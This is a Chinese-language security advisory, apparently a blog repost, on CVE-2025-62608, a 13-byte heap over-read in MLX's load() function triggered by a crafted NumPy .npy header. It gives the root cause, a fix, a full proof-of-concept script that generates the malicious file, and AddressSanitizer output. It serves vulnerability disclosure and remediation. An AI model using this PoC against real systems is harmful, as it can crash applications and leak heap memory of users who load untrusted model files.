MLX库加载函数堆缓冲区溢出漏洞解析

本文详细分析了MLX库中mlx::core::load()函数在解析恶意NumPy .npy文件时存在的堆缓冲区溢出漏洞(CVE-2025-62608)。该漏洞源于未对文件头长度进行充分验证,导致可读取分配内存边界之外的13个字节,可能造成应用程序崩溃或信息泄露。文章包含了漏洞成因、位置、修复建议以及完整的PoC利用代码。

MLX库load()函数堆缓冲区溢出漏洞(CVE-2025-62608)

漏洞概述

摘要: MLX库的mlx::core::load()函数在解析恶意NumPy .npy文件时存在堆缓冲区溢出漏洞。攻击者通过构造的特制文件可触发13字节的越界读取,导致应用程序崩溃或潜在的信息泄露。

环境:

  • 操作系统: Ubuntu 20.04.6 LTS
  • 编译器: Clang 19.1.7

漏洞详情

受影响版本

  • pip包: mlx
  • 受影响版本: <= 0.29.3
  • 已修复版本: 0.29.4

漏洞描述

解析器从文件中读取118字节的文件头,但在代码第268行使用std::string(&buffer[0])时,该构造函数在遇到第一个空字节(null byte)时停止,从而创建了一个20字节的字符串,而非完整的118字节。随后,第276行在未检查字符串长度的情况下尝试读取header[34],导致读取操作超出了分配的内存边界13个字节。

漏洞位置: mlx/io/load.cpp:268, 276

Bug #1 (第268行):

1
std::string header(&buffer[0]); // 在第一个空字节处停止

Bug #2 (第276行):

1
bool col_contiguous = header[34] == 'T'; // 无边界检查

可能的修复方案

1
2
3
4
5
// 第268行
std::string header(&buffer[0], header_len);

// 第276行
if (header.length() < 35) throw std::runtime_error("Malformed header");

漏洞利用证明(PoC)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
pip install mlx

# 生成漏洞利用文件
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
    f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py

python3 -c "import mlx.core as mx; mx.load('exploit.npy')"

AddressSanitizer输出(使用插桩构建)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
    #0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
    #1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
    #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
    #3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)

0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)
allocated by thread T0 here:
    #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
    #1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14
    #2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11
    #3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4
    #4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9
    #5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15
    #6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
    #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
    #8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)
...

影响范围

攻击向量: 恶意.npy文件(模型权重、数据集、检查点等)

受影响对象: 在所有平台上调用易受攻击方法且输入未经过滤的MLX用户。

后果: 应用程序崩溃 + 潜在的13字节堆内存泄露

安全评分

CVSS总体评分: 5.5(中等严重性)

CVSS v4基础指标:

  • 攻击向量(AV): 网络(N)
  • 攻击复杂度(AC): 低(L)
  • 攻击要求(AT): 无(N)
  • 所需权限(PR): 无(N)
  • 用户交互(UI): 无(N)
  • 受影响系统机密性影响(VC): 低(L)
  • 受影响系统完整性影响(VI): 无(N)
  • 受影响系统可用性影响(VA): 低(L)

EPSS评分: 0.034%(第9百分位)

弱点分类

CWE-122: 基于堆的缓冲区溢出

致谢

  • Markiyan Melnyk (ARIMLABS)
  • Mykyta Mudryi (ARIMLABS)
  • Markiyan Chaklosh (ARIMLABS)

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计